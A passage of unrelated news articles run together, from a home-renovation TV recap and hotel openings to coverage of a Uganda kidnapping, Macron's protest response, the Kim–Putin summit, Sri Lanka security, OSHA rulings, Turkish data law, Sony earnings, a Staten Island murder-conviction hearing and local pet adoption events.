below. Drew immediately resolves the situation by kicking out the shelvesnow there's plenty of space for his knees. New kitchen with an overhang on the peninsula for seating HGTV Color the kitchen "I don't want to do just a white kitchen," Jonathan tells Nicole as he officially starts the renovation. "Now we're seeing a lot more color trending." He advises using soft, subtle green undertones. But Nicole is not good with thatshe prefers all white and neutral. "Trust me," he says. "We're seeing greens and bluesthat's what's trending." He promises her he'll come up with something buyers will love, and he doesdeeply dark blue lower cabinets with white, marbled quartz countertops. It is divine! Low-profile furniture helps a room feel roomier Jonathan is rearranging the master bedroom to make it seem more spacious. He wants to place the bed under the window, which will work only if he can find a very low bed frame. And, of course, if the bed frame is low, he points out to Drew that the bedside tables must be low as wellit would be really awkward to have to reach up from your bed to get a glass of water or turn out the light. Once the room is filled with low-profile furniture, however, it feels much more spacious! Low-profile furniture makes a room feel much larger. HGTV If you have only one bathroom, go bold Jonathan is determined not to let the fact that the home has only one small bathroom work against him. A vertical pattern of 2-by-8-inch tile in white glass "will carry the eye from the tub and shower all the way across to the vanity, making it feel larger," he says. "Everything about it is going to be bold, dramatic, increasing the price of the house. There's only one bathroom, so it has to wow." Millwork is a valuable bonus Jonathan makes great use of space in the small dining area by building bench seating along the wall, and bookending it with built-in bookcases. A table is placed in front of it, and it looks so elegant. "Millwork adds a ton of value to the house," he explains. And sure enough, potential buyers are impressed. Bench seating with custom millwork adds value. HGTV Consider the neighbors Meanwhile, on the house hunting front, Drew finds the family a beautiful home that checks all of their boxes, but there's one more factor they forgot to considerit shares a wall with another house. Matt and Nicole don't have a problem with that, but with three rambunctious boys, "our neighbors would probably hate us," says Nicole. Even though the house is big and beautiful, potential tension with the neighbors overshadows everything else. The one question buyers rarely ask, but should Drew eventually finds Matt and Nicole their dream house with a huge, finished basement that's even big enough for a pool table. They know, because there's a lovely pool table sitting right there in the middle of it! Drew suggests they ask the sellers to kick in the pool table when they sell. Although it rarely occurs to buyers to ask for extras like this, it often works out. "Most of the time, people don't like to move pool tables because they're so heavy and it's too time-consuming, so I can write it into the offer," he suggests. Same goes with pianos, large plants, or anything heavy or hard to move. Do the brothers deliver? Although the dream house Drew found for the family is priced way over their budget, at just under a million, he points out that it's substantially overpriced, has been on the market for quite some time, and has been reduced more than once. He suggests they make an offer anyway, at the top of their $925,000 budget. Of course the offer is declined, but the sellers make a counteroffer: $940,000. Cheeky Drew asks Matt and Nicole if they want to counter thateven though the sellers have already come down over $50,000. So the couple come back with an offer that's only slightly higher$930,000. It's accepted, pool table and all! Meanwhile their old home goes on the market for $800,000, and gets two offers: one for asking price, the other for $810,000. Guess which one they take? "This is so spectacular!" gushes Nicole. And the Scott brothers have to agree. The post The Property Brothers Reveal One Question Home Buyers Rarely Ask, but Should appeared first on Real Estate News & Insights | realtor.com. In news of hotel openings, rebrandings and renovations, there's a new Hyatt House in Cupertino near Apple's headquarters; The Jeremy in West Hollywood gets a makeover and new identity, and an LAX property gets a major renovation; downtown Washington D.C. has another Hilton; Robert DeNiro's posh Nobu brand comes to Los Cabos; and Hong Kong gets a pair of new luxury properties from Rosewood and St. Regis. Not far from Apple's big Silicon Valley campus in Cupertino is a new Hyatt House at 10380 Perimeter Way, along Interstate 280 behind the Vallco Shopping Mall. Designed for extended-stay guests, the hotel's 148 units include king-bedded 310- or 340-square-foot Den guest rooms, and various studio and one-bedroom suites equipped with full kitchens. The property offers guests free hot breakfasts including an omelet bar; the H Bar for evening socializing and snacks; and the 24-hour grab-and-go H Market. It also has a business center, fitness center, pool, and free Wi-Fi. It seems like nothing is inexpensive in Silicon Valley, and that goes for the Hyatt House too. Nightly rates during May start at $378 for World of Hyatt members and $419 for non-members, plus $51 tax. Before it opened in 2017, The Jeremy Hotel along Sunset Boulevard in West Hollywood was supposed to be a James Hotel. But it was taken over by Barry Sternlicht, the creator of Starwood Hotels, who wanted it for his nascent 1 Hotels group. The remake of the property couldn't happen quickly, so it was temporarily branded as The Jeremy until all the work could be finished converting it into the kind of environmentally conscious luxury property that 1 Hotels stands for. (Here's our evaluation of The Jeremy from a stay there last year.) But it's just about ready now, so the 286-room, 10-story Jeremy is starting to take guests as of May 6 in its new incarnation as the 1 Hotel West Hollywood. Rooms sound like they're decorated by the Whole Earth catalogue, with "native greenery, rustic wood, earther plaster, clay tones, marble bathrooms, and organic cotton linens." The hotel's signature restaurant and all-day cafe also emphasize California natural in their cuisine; the property has a lobby bar, pool bar and rooftop bar along with a fitness center and 14,000 square feet of meeting space. Prepaid rates during May start at $349 plus 21 percent taxes and fees. Elsewhere in Los Angeles, the Holiday Inn LAX Airport at 9901 S. La Cienega Boulevard just wrapped up a major renovation that included all 405 guest rooms as well as public areas, dining venues and meeting space. Rooms got new Serta mattresses, double-paned windows, upgraded bathroom fixtures, and blackout drapes. There's a new "e-bar" called The Spot with laptop stations and full connectivity; a new grab-and-go venue called Sip & Savor with coffee and snacks; and Taste LA, serving lunch and dinner as well as a breakfast buffet. And the overhauled entrance has high ceilings and contemporary art. Expanded meeting space now total 2,800 square feet. Standard rates in May start at $119 plus $18.68 tax. Even though it recently opened an upscale Conrad hotel in downtown Washington D.C., Hilton has added yet another new location in the nation's capital. The new Hilton Washington D.C. National Mall at 480 L'Enfant Plaza SW is a reincarnation of the L'Enfant Plaza Hotel, which has been closed for several years. The old hotel got a top-to-bottom $30 million renovation that included all 367 rooms, 23,000 square feet of meeting space, and all public areas. The remake gives the "new" hotel 50 upscale Executive rooms that include use of the Executive Lounge, with free breakfast, evening snacks and concierge services. The hotel says its new fiber optic network will give guests the best hotel Wi-Fi service in the city. Its signature restaurant is the French-inspired L'Enfant Bar and Grill; the property also offers a lobby bar, a full-service Starbucks, and a grab-and-go market. And getting around the city is easy since it sits right on top of the L'Enfant Metro Station. Although the property opened as a Hilton in April, it currently has "limited availability," a spokesman said, as work continues on the overhaul. "They will keep opening more rooms as they are ready... The full property is slated to be open right now in June but again that finish line is a bit of a moving target." We found some available rooms during May with prepaid Honors discount rates ranging from $198 to $369 plus 15 percent tax. Looking for laid-back lodging in Cabo that's a step away from the crowds? The fast-growing Nobu Hotels brand, backed by celebrity chef Nobu Matsuhisa and actor Robert De Niro, among others, has just opened the Nobu Hotel Los Cabos, its first property in Mexico. It has 200 rooms on a beachfront location west of Cabo San Lucas, all equipped with 65-inch TVs, minibars, Nespresso machines, double vanities, yoga mats, and special Nobu beds by Simmons with high thread count, organic cotton linens. Of course, it has a Nobu restaurant as well as a farm-to-table venue called Malibu Farm, beach and pool bar and grills, and 24-hour room service. It also has a 13,000-square-foot spa, and a number of flexible-configuration meeting rooms. Rates during May start at $400 a night, plus 16 percent VAT, a 15 percent "local fee" and a 3 percent "lodging fee." (There's also a Nobu Hotel opening in Palo Alto, CA) Don't miss a shred of important travel news! Sign up for our FREE bi-weekly email alerts 1 hotels Hong Kong recently welcomed a pair of new luxury properties: a Rosewood and a St. Regis. The Rosewood Hong Kong is located in the trendy Victoria Dockside district, part of Kowloon's Tsim Sha Tsui neighborhood. (Next door to the InterContinental Hong Kong.) It occupies 43 floors in a 65-story multi-use tower, and 80 percent of its 322 rooms and 91 suites have views of Hong Kong Harbor. The new hotel is the flagship of the Rosewood brand, which is a subsidiary of Hong Kong-based New World Development. Guest rooms start at a generous 570 square feet, and suites at 990. The hotel has a 40th floor Manor Club with outdoor terraces, a bar, game room, and free food throughout the day. It also offers an Asaya spa and eight dining options, most of them with al fresco terraces and water views. Rates in May start at $548 plus a 10 percent service charge. Marriott, meanwhile, has just cut the ribbon on the St. Regis Hong Kong its 7,000th property worldwide. It's across the water from the Rosewood, on Hong Kong Island near the harbor between the Central district and Causeway Bay, at 1 Harbour Drive in the Wan Chai district. The St. Regis has 112 rooms and 17 suites ranging in size from 530 to 2,583 square feet and is a five- minute walk from the Hong Kong Convention and Exhibition Center. Guests can check in from their rooms and have 24-hour access to butler service. It has contemporary French and signature Chinese restaurants, both led by Michelin-starred chefs. Live jazz is offered in the St. Regis Bar, and afternoon tea is available in the Drawing Room. The hotel has 12,000 square feet of meeting space, a pool, fitness center and high-speed Wi-Fi. Marriott Bonvoy member advance purchase rates in May start at $483 plus a 10 percent service charge. Read all recent TravelSkills posts here Get twice-per-week updates from TravelSkills via email! Sign up here Chris McGinnis is the founder of TravelSkills.com. The author is solely responsible for the content above, and it is used here by permission. You can reach Chris at chris@travelskills.com or on Twitter @cjmcginnis. A Costa Mesa, Calif. woman who was kidnapped while on vacation in Uganda and held captive alongside her tour guide is now sharing details of the horrifying ordeal. Kimberly Endicott and her Ugandan guide, Jean Paul Mirenge Remezo, were taken from the Queen Elizabeth National Park by four armed men on April 2. The two wound up being taken hostage for almost five days before being freed by their captors after a ransom was paid for their release. Endicott recalled the moment that the men ambushed her group, telling "CBS This Morning" the men had emerged from a bush and she had at first mistaken them for armed rangers. Upon a closer look, however, she realized the men were not rangers. In fact, the "ragtag" group of men were not in uniforms of any sort and wound up pointing their guns at Endicott and Remezo, along with an elderly couple from Canada who were also on the tour with them. It was then that Endicott felt "pure fear," but admitted even that phrase "doesn't do it justice." Endicott and Remezo were then taken captive by the group, while the couple who Endicott guessed were in their later 70s were allowed to stay behind. Endicott and Remezo were later moved from Uganda into the Democratic Republic of Congo. MORE SURVIVAL TALES: Lost in Yosemite's snows for 11 days in 1946, biologist ate lichen to survive During those nearly five days of captivity, Endicott said she tried coming up with ways to ensure a quick death, if that was where things were headed. "How do I get them to shoot me?" Endicott recalled thinking. "And just shoot me, instead of dismembering me or raping me? How do I do that? What can I do that will actually create that and I could never actually come up with a strategy for that. "If I ran, well, that would just make them angry," Endicott added. "And I think I would get treated pretty badly if I tried to run." Despite the nightmarish situation, Endicott tried humanizing herself to her captors and even found herself feeling empathetic to their situation. "I just start talking to them like I'm talking to you," Endicott told journalist Gayle King. "But all the while I'm watching these young men drink water, not from the river, but from a hole in the ground. But they have bottled water for me." Endicott recalled that the men even made a tent for her out of tarps and a mosquito net after a particularly exhausting day. MORE: Kidnapped American tourist and her driver have been rescued, Uganda says When asked how she could feel compassionate towards the men, Endicott replied, "How could I not? 'Cause that's their life. It's not really above living like an animal ... If I survive this, I have a life to go back to. That's their life. "That does not condone what they did," Endicott added. "Not even close." The kidnappers demanded $500,000 for Endicott and Remezo's release, but it's unclear how much was actually paid to the captors. Endicott and Remezo were released after a woman with the Ugandan Wildlife Authority handed over the money. Despite the ordeal, Endicott said she felt Uganda is still a safe place to visit and that her kidnapping was an unusual occurrence. Read more about Endicott's experience here on CBS News. Read Dianne de Guzman's latest stories and send her news tips at dianne.deguzman@sfgate.com. Start receiving breaking news emails on wildfires, civil emergencies, riots, national breaking news, Amber Alerts, weather emergencies, and other critical events with the SFGATE breaking news email. Click here to make sure you get the news. PARIS French President Emmanuel Macron has satisfied few of his critics as he tried to quell five months of yellow vest protests with a mix of tax cuts and attempts to bridge the gap between the Paris elite and the rest of the country. With promises of a tax cut for 15 million households, an end to the closing down of rural hospitals and schools, and the closure of the national administration school that has trained most of Frances leadership his own alma mater Macrons speech on Thursday was an attempt to meet some of the demands of the protesters who have shaken his presidency. But critics on the left and right, as well as many of the most prominent yellow vest activists, countered that his call for the French to work more and his refusal to reinstate a wealth tax were signs he didnt get the message. Thierry-Paul Valette, a yellow vest protest organizer, said Friday that he was disappointed. He is still in denial of the social movement that France has been going through for the past five months, Valette said. The movement, visually marked by the fluorescent vests required for all French motorists, has ebbed in recent weeks. It remains to be seen whether Macrons speech and the perception of a refusal to change his plans for Frances economy would give it new momentum. He promised 5 billion euros in tax cuts for middle class workers which his finance minister said would help 15 million households but in exchange, he said, the French need to pitch in. We have to work more, Macron said in the nationally televised speech, citing statistics showing the French work fewer hours per capita per year and fewer years over their lifetimes than other developed nations. Still, he said he would not make changes to the countrys 35-hour workweek, raise the retirement age or eliminate any national holiday. He acknowledged that Paris, both as Frances governmental and cultural center, often seemed distant from the rest of the country and vowed to shift the dynamic. One proposal involved closing the elite National School for Administration. Graduates include many of Frances top government officials. Lori Hinnant is an Associated Press writer. VLADIVOSTOK, Russia North Korean leader Kim Jong Un boarded his private train Friday and headed back to Pyongyang after directing some harsh criticism at Washington during his first summit with Russian President Vladimir Putin, saying the U.S. negotiated in bad faith when he met with President Trump in Hanoi two months ago. Kim left about 4 hours earlier than planned, Russian news agencies reported. It was not immediately known why he decided to return from Vladivostok early. Putin, who indicated he may be interested in playing a bigger role in breaking North Koreas standoff with Washington, had already left for a two-day meeting in Beijing. The Kremlin intends to brief the U.S. on the contents of the summit as soon as the Russian delegation returns to Moscow, Deputy Foreign Minister Sergei Ryabkov told the RIA Novosti news agency. Putin said he will also brief Chinese leaders on his talks with Kim. Before leaving Vladivostok, Kim visited a park near the headquarters of the Russian navys Pacific Fleet for a wreath-laying ceremony. Kim also had lunch with the local governor and businesspeople before going to the main railway station. Following their talks on Thursday, Putin said Kim is willing to give up nuclear weapons, but only if he gets ironclad security guarantees supported by a multinational agreement. Kim strongly criticized Washington for taking a unilateral attitude in bad faith at his February meeting with Trump in Hanoi that caused the diplomatic standstill, North Koreas state-run Korean Central News Agency said Friday. He also told Putin the situation on the Korean Peninsula has reached a critical point and whether tensions resume will entirely depend on the U.S. future attitude. The agency said Putin credited Kims diplomatic initiatives for stabilizing the situation surrounding the peninsula and accepted Kims invitation to visit North Korea at a convenient time. No specific measures from the summit have been reported by either side and the leaders comments suggest there has been no significant shift in Kims basic position. North Korea has all along contended that it needs its nuclear arsenal to defend itself against what it sees as U.S. hostility and wants concrete reassurances of its safety including the removal of the American nuclear threat as an integral part of the denuclearization of the entire Korean Peninsula. Trump has voiced hope that Putins involvement could help his efforts to get Kim to abandon his nuclear arsenal. But it could also complicate matters, since Moscow has been critical of sanctions on North Korea and has called on Washington to provide more security guarantees. After Thursdays talks, Putin suggested the revival of a multilateral approach to the denuclearization negotiations. A similar approach, which Russia participated in, broke down in 2009. Along with a statement of political support, Kim was also looking for some kind of economic support and possibly even a workaround for sanctions that will require more than 10,000 North Korean laborers in Russia to leave by the end of the year. The laborers are a major source of income for North Korea. Iuliia Stashevska and Eric Talmadge are Associated Press writers. COLOMBO, Sri Lanka Catholic leaders canceled Sunday Masses indefinitely across Sri Lanka and officials urged Muslims to stay home for Friday prayers in an extraordinary call by the clergy to curtail worship as fear of more attacks plagued the island nation after the deadly suicide bombings on Easter. Shops were closed, streets were empty and heavy security patrols continued across the country despite police saying the alleged mastermind of the attacks that killed over 250 people had died in one of the suicide blasts. Those Sri Lankans who did venture out spoke about the fear encompassing daily life at a level unseen since a long civil war ended a decade ago. Many are angry that the government, paralyzed by internal disputes, hadnt acted on intelligence obtained weeks before Easter that warned of the attacks. Everyone is nervous, said Abdullah Mohammed, a 48-year-old Muslim in Colombo. Not just the Muslims. Buddhists, Christians, Hindus everybodys nervous. Officials from the police to the prime minister say militants remain on the loose and have access to explosives. That has led to increased security at shrines, churches, temples and mosques across the multiethnic country of 21 million off Indias southern coast. Late Friday, police found 15 bodies, including those of six children, after multiple explosions were heard in a house they were attempting to raid in the east of the country, spokesman Ruwan Gunasekara said on Saturday. Police commandos backed by the army had surrounded a house in Sainthamaruthu, 226 miles east of the capital, over suspicions of a link with last weekends deadly Easter bombings. They encountered firing from inside and soon after at least three explosions were heard inside the house, he said. We have searched the place and found 15 bodies of which 12 of them were inside the house and three outside, Gunasekara said. Three of the dead were women and six were children. He said police believed one or more suicide bombers had carried out the blasts. Another woman and a child injured in the incident have been admitted to hospital. The U.S. Embassy in Sri Lanka also warned the public to stay away from places of worship over the weekend. Emily Schmall, Jon Gambrell and Bharatha Mallawarachi are Associated Press writers. We use cookies to ensure that we give you the best experience on our website. This includes cookies from third party social media websites and ad networks. Such third party cookies may track your use on Sharedots sites for better rendering. Our partners use cookies to ensure we show you advertising that is relevant to you. If you continue without changing your settings, we'll assume that you are happy to receive all cookies on Sharedots website. However, you can change your cookie settings at any time. Learn more Page Content The Occupational Safety and Health Administration (OSHA) may need to give employers more-specific guidance for keeping their workplaces free from hazards that may cause death or serious physical harm, according to commissioners in two recent administrative rulings. The so-called general-duty standard to keep workplaces free from such hazards may sound laudable, employers say, but it's too vague. In one decision, the Occupational Safety and Health Review Commission, which reviews administrative law judges' decisions in OSHA-citation challenges, agreed that OSHA too often uses the standard to hold employers liable without more-specific guidance. The general-duty clause amounts, as this opinion said, to a "gotcha" against employers. In the other opinion, the commission held an employer liable under the clause, but some concurring commissioners again said it's not specific enough and used too much. Background Employers can be cited for violating the Occupational Safety and Health Act's general-duty clause if they fail to take reasonable steps to prevent or fix a serious hazard in their workplace. To prove a general-duty clause violation, the U.S. Secretary of Labor must establish the following: A condition or activity in the workplace presented a hazard. The employer or its industry recognized the hazard. The hazard caused or was likely to cause death or serious physical harm. There was a feasible and effective way to eliminate or reduce the hazard. The general-duty clause applies only when there is no specific standard from OSHA that applies to the particular hazard. For example, OSHA has historically issued citations under the general-duty clause for hazards associated with workplace violence, ergonomics, heat and cold stress, and crowd control in retail stores (particularly on busy shopping days, such as Black Friday). Limiting Use Secretary of Labor v. A.H. Sturgill Roofing, Inc. involved a general-duty citation against an employer for exposing employees "to the hazard of excessive heat from working on a commercial roof in the direct sun," which resulted in the death of a 60-year-old man who suffered heatstroke. In vacating the general-duty citation, the Occupational Safety and Health Review Commission held that the secretary of labor failed to prove that a hazard existed. Commissioner Cynthia Attwood dissented and said she would have affirmed the citation. Although the majority of commissioners didn't explicitly state that heat-stress conditions could never give rise to a general-duty citation, they were skeptical about OSHA's historically broad use of the general-duty clause. In a footnote, the commission said that the clause was originally intended to serve only as a "stopgap measure to protect employees until standards could be adopted," and that once a hazard was identified through the general-duty clause, OSHA would develop a specific standard for the hazard. Although the commission acknowledged that "practical considerations" may have led OSHA to rely on the general-duty clause rather than specific standards, it found that OSHA had increasingly used it over time as a "gotcha" and "catchall" against employers. The commission also noted that California's Division of Occupational Safety and Health (Cal/OSHA) implemented a specific heat-illness-prevention regulation. Knowledge of Hazard A week later, in Secretary of Labor v. Integra Health Management, Inc., the commission unanimously affirmed a general-duty citation for workplace violence. Integra Health provided in-home services to clients with mental-health issues. OSHA issued a general-duty citation after one of its employees was stabbed to death by a schizophrenic client during a home visit. Commissioner Attwood, who wrote the majority opinion, rejected Integra Health's claim that it didn't know about the hazard. She pointed out that the company's work rules and training materials, among other things, addressed the possibility of client violence. Attwood also rejected the employer's suggestion that violence by a third party is "inherently resistant to prediction" and could never be classified as a recognized hazard. Commissioner James Sullivan joined in the majority opinion but wrote a concurring opinion expressing concern that the general-duty clause is too vague and open to interpretation and thus does not provide clear notice of an employer's obligation. Similarly, commissioner Heather MacDougal (who is no longer on the commission) wrote a separate concurring opinion expressing concern about the expansion of the general-duty clause to situations the employer can't control and the secretary of labor's attempt to expand the scope of it over the years. Because the majority opinion and concurrences make it clear that Integra Health was decided on very specific facts, the administrative law judges who provide the first review in citation disputes are unlikely to interpret the commission's decision as broadening OSHA's authority to cite under the general-duty clause in workplace violence cases or otherwise. John Ho is an attorney with Cozen O'Connor in New York. Page Content Employers, especially HR departments, process the personal data of their employees for a number of different reasons, including recruiting, keeping personnel files, and paying salaries and bonuses. In addition to employment law, the processing of employees' personal data in Turkey is subject to Law No. 6698 on the Protection of Personal Data. After an overview of the legal grounds for processing worker data, this article addresses certain employee data issues frequently encountered in practice. Legal Grounds for Processing Employee Data Under Article 5 of the law, personal data, including employee data, may be processed only on the basis of one of the following grounds: The individual has consented to the processing of his or her personal data. The processing is not illegal. The processing is necessary to protect life or physical integrity of the individual or another person when the data subject is physically or legally incapable of consenting. The processing is necessary for, and directly related to, the execution or performance of a contract to which the data subject is a party. The processing is mandatory for a data controller to perform his/her legal obligations. The personal data has been made available to the public by the individual himself or herself. The processing is necessary for the establishment, usage or protection of a right. The processing is necessary for the legitimate interests of the data controller, provided that the fundamental rights and freedoms of the individual are not outweighed. The processing of employee data will usually be necessary for the performance of the employment contract, because employers are required to process employee data in order to fulfill their obligations under that contract, such as processing their employees' bank account details to pay salaries. Another common legal ground is the need to comply with a legal obligation, when employment law directly requires employers to process employee data. This is the case for keeping personnel files or making declarations to the social security institutions and paying the related premiums. If none of the above legal grounds exists, data protection law in principle allows for the processing of personal data on the basis of an individual's consent, which must be specific, informed and freely given. It is, however, unlikely that consent obtained from employees could qualify as freely given, since employees may fear losing their job or suffering other adverse consequences if they refuse consent. Therefore, explicit consent should not generally be used as a legal basis for processing employee data, given the nature of the employer-employee relationship. Relying on a legitimate interest as a legal ground for processing is possible if and when the employer can demonstrate such legitimate interest and the processing complies with the principles of proportionality. The legitimate interest exemption should be treated only as a last resort, meaning that employers should rely on this exemption only when the other legal grounds for processing do not apply. In addition, this exemption requires a balancing test between the legitimate interest of the employer and the fundamental rights and freedom of the employees, which should not be disproportionately affected. This may imply that the employer should adopt appropriate measures to protect its employees' rights. Issues Frequently Encountered with Employee Data Data processing in the recruitment process In the recruitment process, it is essential for the employer to be able to assess the qualifications of a candidate and whether he or she will be a good fit for the offered position, before deciding to enter into an employment contract. Therefore, while the data is initially submitted by the candidate on a consent basis, the legitimate interest of the employer and, if the candidate is eventually hired, the execution of a contract, can constitute legal grounds for the processing of the candidate's personal data throughout the recruitment process. But the data should not be processed or stored beyond what is necessary, particularly if the candidate is not recruited at the end of the process. In addition, a separate assessment is required for the transfer of such data to third parties, including group companies. The Data Protection Board has ruled that: The transfer of personal data within group companies must be considered as a transfer to third parties, therefore the conditions set out in the law for a lawful data transfer should be met. Without the explicit consent of the job applicants, the transfer of personal data within group companies by means of a jointly used database violates the law. Use of information technology New technologies enable employers to carry out monitoring activities through different devices, such as desktops, vehicles, mobile phones and wearables used by their employees. To ensure transparency and fulfill the obligation to provide mandatory information to data subjects, employers have to inform their employees of the existence of any monitoring activity. In this context, in addition to the information obligation, it's important to determine the employees' expectation on how their activities will be monitored at work or at home. The legal ground for the data processing performed as part of monitoring activities will often be the legitimate interest of the employer. Indeed, the employer has a legitimate interest in protecting its business from significant threats, such as preventing the disclosure of confidential information to competitors. The use of this legal ground however requires a balancing test, taking into account employee fundamental rights and freedoms, as well as the implementation of appropriate organizational measures. Prior to any monitoring activities, employers should consider whether the intended monitoring is proportionate to the threats and concerns they are trying to address, and whether other less intrusive means can be implemented. Stephanie Beghe Sonmez, Gulce Saydam Pehlivan and Neslihan Kasap are attorneys with Paksoy in Istanbul. 2019 Paksoy. All rights reserved. Reposted with permission of Lexology. Sony has released its financials for the fiscal year ended March 31, 2019, and once again software is driving sales within the company's games business. Full-year sales in the games and network services segment rose by 19 percent year-on-year to 2.31 trillion yen ($20.7 billion), while operating income increased to 311 billion yen ($2.8 billion) from 177.5 billion yen ($1.6 billion) over the same period. Sony has attributed that upswing to an increase in game software sales, with PS4 full game software sales rising to 257.6 million units during 2018 from 246.9 million units in 2017. The company also benefited from a rise in premium PlayStation Plus subscribers, and revealed the number of paying members jumped to 36.4 million in 2018 from 34.2 million in 2017. It's a different story on the hardware front, with year-over-year PlayStation 4 console sales falling to 17.8 million units from 19 million units. Naturally, Sony has been expecting sales of the aging console to decline, and as we found out earlier this month is already hard at work developing the (unofficially named) PlayStation 5. Moving forward, Sony expects PS4 hardware sales to drop off once again, and is forecasting sales of 16 million units by the end of the next fiscal year. Although the company believes software sales will continue to deliver, it anticipates rising development expenses for its next-gen console combined with a drop off in revenue from first-party titles to cause sales and operating income to dip next year. With that in mind, Sony expects sales and operating income in its game division to fall to 2.3 trillion yen ($20.6 billion) and 280 billion yen ($2.5 billion) when the financial year winds down on March 31, 2020. Oh, and for those interested in how the company is doing as a whole, consolidated sales rose by 1 percent to 8.66 trillion yen ($77.5 billion) while profits increased by 87 percent to 916 billion yen ($8.2 billion). STATEN ISLAND, N.Y. -- Two years after the district attorneys office declined to re-open a controversial 1992 murder case, a judge has ordered a new hearing that could determine the fate of the man convicted in the slaying who continues to profess his innocence. State Supreme Court Justice Alexander Jeong will hear new witness testimony following three trials a quarter century ago that, according to Advance reports at the time, were wrought with conflicting witness accounts, an apparent attempt to sway a juror and a near acquittal. The new hearing will allow the opportunity for Foster Thompsons defense to prove his innocence, which is more difficult than a jury trial in which the defense must only provide reasonable doubt of the defendants guilt, according to court documents. Jeong will hear from witnesses in regard to a murder and attempted murder inside a New Brighton apartment and ultimately determine whether Thompson, 54, is in fact innocent. CONFLICTING ACCOUNTS The attorney who first prosecuted the case maintains Thompson is overwhelmingly guilty, based in part on the account of a surviving victim also shot that night, who testified Thompson was the trigger man. Another witness placed Thompson in the apartment and a third testified he saw him in the building just after the shooting. Other witnesses, who didnt testify at the first three trials, name two men from the Bronx as the attackers. One of the men, David Clark, claimed in a 2017 interview conducted by members of Thompsons legal team that he traveled to New Brighton on the night in question with two other people to carry out a robbery. The Advance viewed a copy of video. His story was corroborated in an interview conducted around the same time by investigators with the Richmond County District Attorneys office, in which a woman named Candice Thompson said she was with Clark and her boyfriend, Quan Randall, who has since died. The Advance also viewed this video. There are two inconsistencies with the stories: The first is their account of who entered the apartment first. Also, Candice Thompson told investigators she couldnt remember which way Clark and the other assailant turned once they exited the elevator. The recorded testimonies werent enough for District Attorney Michael E. McMahon to re-open the case. According to a 2017 statement from McMahons office: ...there is insufficient credible evidence to support an application to set aside the jurys verdict at this time. Of course, we will continue to look at any additional facts if they are brought to light. Case of 1994 murder convict claiming innocence continued Family frustrated about delay in bid to overturn 25-year-old murder conviction. Story: https://trib.al/AAspOYj Posted by Staten Island Advance on Friday, February 8, 2019 WHO WILL TESTIFY? Before a hearing date is set, Jeong will determine who hell permit to testify based on relevance to the case and fairness to both sides, legally speaking. The defense has requested the recorded interviews with Clark and Candice Thompson be heard, despite whether theyll be available to testify in person. Prosecutors argue that if Clark and Candice Thompson arent present at the hearing, their testimonies should not be allowed because prosecutors wouldnt have the chance to cross examine. Other witness testimonies could include that of Candice Thompsons mother. MAINTAINING HIS INNOCENCE Thompson maintains his innocence a quarter century after the shooting, telling the Advance recently that the days have grown longer as a final decision approached. Two witnesses who testified 25 years ago maintained in a recent interview with the Advance they were hanging out with Thompson a block away. While court filings show another woman who never testified -- and since died -- told detectives at the time she saw man she knew as Tony inside the building that night. Thompson said he watched with others as the incident unfolded. A cop car shot past us and went right to 151 (Jersey Street), said Thompson in a recent telephone interview with the Advance from prison. (Police) ran in the building, and then seconds later ran right out of the building and jumped in their cars. One of them went up by the park. Thompsons wife and children have made several trips in recent years from North Carolina to attend recent court dates, while dozens of family members and community activists gathered two years ago in St. George to protest the D.A.'s determination of insufficient evidence. STATEN ISLAND, N.Y. -- A Long Island man will face a judge after allegedly threatening a young family and exposing himself to the children at a Mets game. Richard Patrylo, 20, asked the 39-year-old father if he could use his cell phone, to which the father replied that he could not, according to a New York Daily News report. Police said Patrylo then threatened the family of four, which included a 12-year-old boy and a 10-year-old girl, according to the report. I will f--k up your entire family," he said, then exposed his genitals, police said. Patrylo, who, according to police, had been drinking, was charged with acting in a manner injurious to a child and public lewdness. Numerous furry pets are up for adoption this weekend. The devoted volunteer animal rescue groups listed below, have dozens of animals in their care just waiting for forever families like you to rescue them. Remember, its not all about cute pups and kitties: There are senior and disabled pets who really need your love and attention, too. Upcoming pet events in and around the borough are listed below. Click through the photos above to meet the adorable dogs and cats up for adoption this weekend. LOCAL ADOPTION EVENTS: APRIL 27 ACC of NYC located at 3139 Veterans Road West. Adoption hours are 10 a.m. to 6 p.m. Louies Legacy will be at PetSmart, 1525 Forest Ave., 11 a.m. to 3 p.m. and at PetSmart, 2101 Rt. 35, Holmdel, NJ from 11 a.m. to 3 p.m. Mama Chris Animal Rescue adoptable pets can be viewed during Petco hours, 9 a.m. to 9 p.m. at the Petco Adoption Center in Bricktown Commons, 165 Bricktown Way, Suite 1C, across from Michaels and Ulta. P.L.U.T.O. will in the Bricktown Commons Petco, 165 Bricktown Way, Suite 1C, across from Michaels and Ulta, noon to 3 p.m. with adoptable pets. SICAW will be at Petsmart Adoption Center, 1525 Forest Ave., with cats from 2 to 5 p.m. APRIL 28 ACC of NYC located at 3139 Veterans Road West. Adoption hours are 10 a.m. to 6 p.m. Happy Homes Animal Rescues adoptable cats and kittens will be at Petsmart, 1525 Forest Ave. 11:30 a.m. to 2:30 p.m. Louies Legacy will be at PetSmart, 1525 Forest Ave. from noon to 3 p.m. and also at The Petco Union Square, in the North Shore Animal League Mobile Adoption Center, 860 Broadway, Manhattan, noon to 3 p.m. Mama Chris Animal Rescue adoptable pets can be viewed during Petco hours, 10 a.m. to 7 p.m. at the Petco Adoption Center in Bricktown Commons, 165 Bricktown Way, Suite 1C, across from Michaels and Ulta. SICAW will be at the new Petco in Bricktown Commons, 165 Bricktown Way, Suite 1C, across from Michaels and Ulta, 10 a.m. to 2 p.m. OTHER EVENTS: APRIL 27 Fur Friends in Need fundraiser- Painting with a purpose. at Painting with a Twist, 2145 NJ Rt. 35 in Kohls Plaza, intersection of Union Ave., Holmdel, NJ. The cost is $50 per seat and youll paint on an extra-long canvas painting-10x30. Please arrive by 6:30 p.m. to get settled in because painting starts promptly at 7 p.m. to 9 p.m. If you have any additional questions about the venue, please contact Joe at 732-226-2665. For reservations or more information visit: Facebook.com/FurFriendsinNeed/ APRIL 30 The 7th annual NYC Re-tails & Sales Pet Expo is a one-of-a-kind boutique tradeshow to be held on Tuesday, April 30, 2019. If you are not a pet professional or not in the pet industry, i.e. maybe youre a pet parent and would like to attend the event, your special hours to attend with a PAID ticket are from 4 p.m. to 6 p.m. Pet parents will be able to shop and attend the panel session about CBD and Holistic pet products at Home Studios Inc., 873 Broadway, near Union Square Park (at 18th Street) Manhattan. Pet professionals or those in the pet industry will be in attendance from 1 p.m. to 6 p.m. The event will feature new products for 2019 and is hosted by Nancy Hassel of American Pet Professionals and Dana Humphrey of Whitegate PR. Well-behaved pets in strollers or with 6-foot non-retractable leashes are welcome. You will also need to sign a waiver when arriving with your pet. 